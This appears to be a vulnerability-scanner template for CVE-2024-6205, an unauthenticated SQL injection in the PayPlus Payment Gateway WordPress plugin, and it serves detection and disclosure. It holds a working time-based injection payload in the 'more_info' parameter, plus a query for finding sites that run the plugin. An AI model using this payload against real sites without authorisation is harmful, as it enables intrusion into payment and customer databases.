CVE-2024-6205: PayPlus Payment Gateway < 6.6.9 - SQL Injection

id: CVE-2024-6205

info:
  name: PayPlus Payment Gateway < 6.6.9 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The PayPlus Payment Gateway WordPress plugin before 6.6.9 does not properly sanitise and escape a parameter before using it in a SQL statement via a WooCommerce API route available to unauthenticated users, leading to an SQL injection vulnerability.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection through WooCommerce API routes to extract sensitive payment information, customer data, and database credentials.
  remediation: |
    Update PayPlus Payment Gateway plugin to version 6.6.9 or later to address the SQL injection vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/payplus-payment-gateway/payplus-payment-gateway-668-unauthenticated-sql-injection
    - https://wpscan.com/vulnerability/7e2c5032-2917-418c-aee3-092bdb78a087
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6205
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-6205
    cwe-id: CWE-89
    epss-score: 0.04134
    epss-percentile: 0.90313
  metadata:
    max-request: 1
    vendor: payplus-ltd
    product: payplus-payment-gateway
    framework: wordpress
    publicwww-query: "/wp-content/plugins/payplus-payment-gateway"
  tags: time-based-sqli,wpscan,cve,cve2024,sqli,wordpress,wp-plugin,wp,payplus-payment,vkev,vuln

http:
  - raw:
      - |
        @timeout 20s
        GET /?wc-api=payplus_gateway&status_code=true&more_info=(select*from(select(sleep(6)))a) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 302"
          - "regex('^-1$', body)"
          - 'contains(content_type,"text/html")'
        condition: and
# digest: 490a0046304402205b7f01da52f48343562d1ec489526537eb2525a6577b378bea9d3971f8e1d1b9022011f0da0114e00fa6daa72d948de234c458b4d6dc52a82d4328765bddf304c8ea:922c64590222798bb761d5b6d8e72950

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